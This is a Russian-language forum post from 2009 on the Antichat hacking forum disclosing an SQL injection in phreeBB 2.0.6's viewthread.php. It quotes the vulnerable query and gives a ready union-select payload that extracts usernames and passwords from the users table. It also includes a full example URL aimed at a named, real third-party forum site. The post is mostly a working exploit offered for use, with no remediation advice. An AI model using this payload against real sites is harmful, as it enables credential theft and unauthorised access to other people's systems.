HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Веб-уязвимости
Перезагрузить страницу phreeBB 2.0.6
   
 
 
Опции темы Поиск в этой теме Опции просмотра
Предыдущая Предыдущее сообщение   Следующее сообщение Следующая

phreeBB 2.0.6
  #1  
Старый 27.08.2009, 09:30
Ded MustD!e
Members of Antichat - Level 5
Регистрация: 23.08.2007
Сообщений: 417
С нами: 9851426

Репутация: 3908
По умолчанию phreeBB 2.0.6
Не путать с phpBB!

SQL-Inj

Продукт: phreeBB
Версия: 2.0.6
Уязвимый скрипт: viewthread.php

PHP код:
$result = mysql_query("SELECT * FROM viewForums WHERE view=$id");
 $msgData = mysql_fetch_array($result); 
Эксплойт:
Код:
-1/**/union/**/select/**/1,2,3,concat_ws(0x3a,userName,userPass),5,6,7,8,9,10/**/from/**/users--+
Пример:
Код:
http://www.vespaclubbiella.it/forum/viewthread.php?forumid=2&id=-42/**/union/**/select/**/1,2,3,concat_ws(0x3a,userName,userPass),5,6,7,8,9,10/**/from/**/users--+
𝕏 Twitter Reddit Telegram Копировать ссылку
__________________
Feci, quod potui. Faciant meliora potentes.
 
Ответить с цитированием
 



Предыдущая тема Следующая тема
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Заливка шелла на phpBB 2.0.6 через highlights ded2006 Уязвимости CMS / форумов 22 12.01.2006 07:29
Загрузка Шела в РНРбб 2.0.6 •••™NO FEAR™••• Уязвимости CMS / форумов 3 22.12.2005 17:28
Где находиться база данных в phpbb 2.0.6? temon Уязвимости CMS / форумов 14 16.12.2005 10:26
Бажный форум на phpBB 2.0.6 REDACTOR.- Уязвимости CMS / форумов 8 15.03.2005 15:15



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.